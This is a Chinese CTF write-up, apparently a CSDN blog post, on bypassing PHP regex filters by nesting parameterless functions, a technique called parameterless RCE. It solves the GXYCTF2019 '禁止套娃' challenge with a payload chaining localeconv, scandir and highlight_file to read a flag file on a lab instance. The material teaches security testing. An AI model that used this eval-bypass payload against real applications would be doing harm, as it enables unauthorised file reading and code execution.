初探rce中的无参数rce

无参数rce

源码中过滤了常用伪协议,用正则表达式规定只可以使用无参数函数进行RCE

对/\w+\ ((?R)? \ )/的理解

(?R)是引用当前表达式的意思

(?R)? 这里多一个?表示可以有引用,也可以没有。

可以用\w+((?R)?)替换到(?R)的位置,因此可以衍生成匹配\w+\ (\w+((?R)?\ ))、\w+(\w+(\w+((?R)?\ )\ )\ )等等。

特征:

 if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['exp'])) {    
     eval($_GET['exp']);
 }

解决方法是, 使用函数套娃的形式,来逐层实现我们RCE的命令.

需要了解相关函数

粘贴大佬整理:

scandir() :将返回当前目录中的所有文件和目录的列表。返回的结果是一个数组,其中包含当前目录下的所有文件和目录名称(glob()可替换) localeconv() :返回一包含本地数字及货币格式信息的数组。(但是这里数组第一项就是‘.’,这个.的用处很大) current() :返回数组中的单元,默认取第一个值。pos()和current()是同一个东西 getcwd() :取得当前工作目录 dirname():函数返回路径中的目录部分 array_flip() :交换数组中的键和值,成功时返回交换后的数组 array_rand() :从数组中随机取出一个或多个单元

array_reverse():将数组内容反转

strrev():用于反转给定字符串

getcwd():获取当前工作目录路径

dirname() :函数返回路径中的目录部分。 chdir() :函数改变当前的目录。

var_dump() 函数用于输出变量的相关信息

eval()、assert():命令执行

hightlight_file()、show_source()、readfile():读取文件内容

eg:current(localeconv())就能构造一个‘.’

数组移位操作

粘贴大佬整理:

end() : 将内部指针指向数组中的最后一个元素,并输出 next() :将内部指针指向数组中的下一个元素,并输出 prev() :将内部指针指向数组中的上一个元素,并输出 reset() : 将内部指针指向数组中的第一个元素,并输出 each() : 返回当前元素的键名和键值,并将内部指针向前移动

[GXYCTF2019]禁止套娃 无参数rce

php正则表达式

(描述了一种字符串匹配的模式,可以用来检查一个串是否含有某种子串、将匹配的子串做替换或者从某个串中取出符合某个条件的子串等。)

  • preg_match(): 在字符串中搜索匹配的模式,只返回第一个匹配项。

  • preg_match_all(): 在字符串中搜索匹配的模式,返回所有匹配项。

  • preg_replace(): 在字符串中搜索匹配的模式,然后进行替换。

wp

首先使用dirsearch扫目录发现这种情况,那么可能是.git泄露,想到使用githack扫,

经过扫描找到了源码

如下:该网站使用了正则匹配 其实这就是无参数的rce

 <?php
 include "flag.php";
 //——包含了一个名为flag.php的外部文件
 echo "flag在哪里呢?<br>";
 if(isset($_GET['exp'])){
 //——确认是否有一个exp参数
     if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
 //——检查exp参数的值是否不包含 data://、filter://、php:// 和 phar://
         if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
 //——检查所有函数调用都不能存在,仅剩余一个";"
 //——也可以看出此题为无参数rce
             if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
 //——再次检查不能剩余上面这些字符
                 // echo $_GET['exp'];
                 @eval($_GET['exp']);
             }
             else{
                 die("还差一点哦!");
             }
         }
         else{
             die("再好好想想!");
         }
     }
     else{
         die("还想读flag,臭弟弟!");
     }
 }
 // highlight_file(__FILE__);
 //——该行代码如果取消注释将高亮显示当前文件源代码
 ?>
     
  可以看出它的主要功能是处理一个名为exp的GET请求参数,根据参数值进行一些参数
  1. var_dump(localeconv());我们能看见第一个string[1]就是一个“.”,这个点是由localeconv()产生的

  2. 利用current()函数将这个点取出来的,‘.’代表的是当前目录,那接下来就很好理解了,我们可以利用这个点完成遍历目录的操作,相当于就是linux中的ls指令

  3. scandir('.') 返回当前目录中的文件和子目录

    发现flag在倒数第二个数组

  4. 通过array_reverse()将数组内容反转,让它从倒数第二的位置变成正数第二

  5. next()找到flag

  6. 用highlight_file()返回文件内容

 http://3779fe37-75b4-40c4-8931-8d282173aa3c.node5.buuoj.cn:81/?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

  • 27
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值